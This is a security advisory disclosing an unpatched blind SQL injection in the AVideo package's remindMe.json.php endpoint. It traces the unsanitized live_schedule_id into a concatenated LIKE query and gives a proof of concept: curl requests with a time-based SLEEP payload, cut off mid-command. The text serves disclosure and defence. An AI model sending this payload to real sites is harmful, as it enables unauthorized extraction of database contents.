GitHub Security Advisory: GHSA-pvw4-p2jm-chjm
Package: wwbn/avideo (COMPOSER)
Severity: HIGH (CVSS 8.1)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has a Blind SQL Injection in Live Schedule Reminder via Unsanitized live_schedule_id in Scheduler_commands::getAllActiveOrToRepeat()

Details:
## Summary

The `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents.

## Details

The vulnerability involves a 6-step data flow from user input to an unsanitized SQL sink:

**Step 1 — User input (no sanitization):**
`plugin/Live/remindMe.json.php:15`:
```php
$reminder = Live::setLiveScheduleReminder($_REQUEST['live_schedule_id'], ...);
```

**Step 2 — Auth check passes for any user:**
`plugin/Live/Live.php:4126`:
```php
if (!User::isLogged()) {
    $obj->msg = __('Must be logged');
    return $obj;
}
```

**Step 3 — intval() applied only internally, original variable unchanged:**
`plugin/Live/Live.php:4141-4143`:
```php
$ls = new Live_schedule($live_schedule_id);  // intval() inside getFromDb() only
$users_id = Live_schedule::getUsers_idOrCompany($live_schedule_id);  // same
```

`objects/Object.php:84` (inside `getFromDb()`):
```php
$id = intval($id);  // sanitizes the LOCAL parameter, not the caller's variable
```

With input like `1" AND SLEEP(5) --`, `intval()` extracts `1`, loads schedule ID 1 successfully. The caller's `$live_schedule_id` remains `1" AND SLEEP(5) --`.

**Step 4 — Tainted value flows to type string construction:**
`plugin/Live/Live.php:4152` → `Live.php:4193-4194`:
```php
$reminders = self::getLiveScheduleReminders($live_schedule_id);

// getLiveScheduleReminders calls:
$type = self::getLiveScheduleReminderBaseNameType($live_schedule_id);
// which builds: "LiveScheduleReminder_{$to_users_id}_{$live_schedule_id}"
return Scheduler_commands::getAllActiveOrToRepeat($type);
```

**Step 5 — SQL injection sink:**
`plugin/Scheduler/Objects/Scheduler_commands.php:340-347`:
```php
$sql = "SELECT * FROM " . static::getTableName() . " WHERE (status='a' OR status='r') ";
if(!empty($type)){
    $sql .= ' AND `type` LIKE "'.$type.'%" ';  // LINE 343: direct concatenation
}
$res = sqlDAL::readSql($sql);  // LINE 347: no parameterization
```

## PoC

**Prerequisites:** Any authenticated user session, at least one `live_schedule` record (ID=1).

**Step 1 — Baseline request (should return quickly):**
```bash
curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  "http://target/plugin/Live/remindMe.json.php?live_schedule_id=1&minutesEarlier=10"
```
Expected: response in ~0.1-0.5s

**Step 2 — Time-based injection (5 second delay):**
```bash
curl -s -o /dev/null -w "%{time_total}" \
  -b "PHPSESSID=<valid_session>" \
  --get --data-urlencode 'live_schedule_id=1" AND SLEEP(5) -- ' \
  --data-urlencode 'minutesEarlier=10' \